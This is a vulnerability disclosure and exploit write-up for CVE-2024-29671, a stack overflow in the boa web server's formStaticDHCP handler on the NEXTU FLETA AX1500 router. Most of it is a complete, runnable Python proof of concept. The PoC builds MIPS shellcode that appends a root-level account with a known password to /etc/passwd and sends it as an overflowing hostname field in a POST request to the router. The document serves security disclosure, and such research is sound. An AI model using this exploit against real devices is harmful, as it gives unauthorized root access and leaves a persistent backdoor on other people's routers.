## https://sploitus.com/exploit?id=C0B5C201-94B3-5558-A642-2F1E4038F5FE
# NEXTU FLETA Wifi6 Router RCE Exploit POC
This document describes how the **CVE-2024-29671** vulnerability was exploited in the **NEXTU FLATA AX1500** Router firmware.
## Execution Environment
This router is based on the MIPS architecture using the Realtek chipset with Little-Endian. <br>
The target router firmware version is v1.0.2.
This firmware include embedded web server name as "boa", which was last released in 2005. <br>
However, this router uses the boa web server to provide an admin web page service that controls the router's firmware.
## Cause of the vulnerability
The "boa" binary security status is as follows.
Fig 1. boa webserver binary checksec result
The cause of the stack overflow is that the length value check was not performed when copying the contents of the **hostname** parameter using **strcpy()** in the **0x00411c00** **formStaticDHCP** function. When request handler doing processes form requests in **boa** webserver.
Fig 2. Stack overflow occur location
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Fig 3. Stack memory view before stack overflow is occur.
(White line is RET address area)
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Fig 4. Stack memory view after stack overflow is occur.
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As you can see in stack 0x7ffef7dc address, witch stored handler RET address, is overflowed data by 0x42('B').
## Exploit explain
If an attacker inserts a remote execution code and add the overwrites address in the RET area into the 'hostname' parameter value of the /boafrm/formStaticDHCP POST request,
the Arbitrary code must be executed as root.
## Vulnerability POC
```python
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
```
## Exploit execution video
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https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
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## Impact
This Vulnerability must occur RCE and DOS problems.
## Timeline
2024-03-17: Request CVE Number <br>
2024-03-22: Assigned CVE Number - CVE-2024-29671 <br>
2024-03~ 2024-05: The report is delivered to the company <br>
## Discoverer
Ku In Hoe
## Helped me to register this vulnerability
Assistant Prof. Seonghoon Jeong (Sookmyung Women’s University)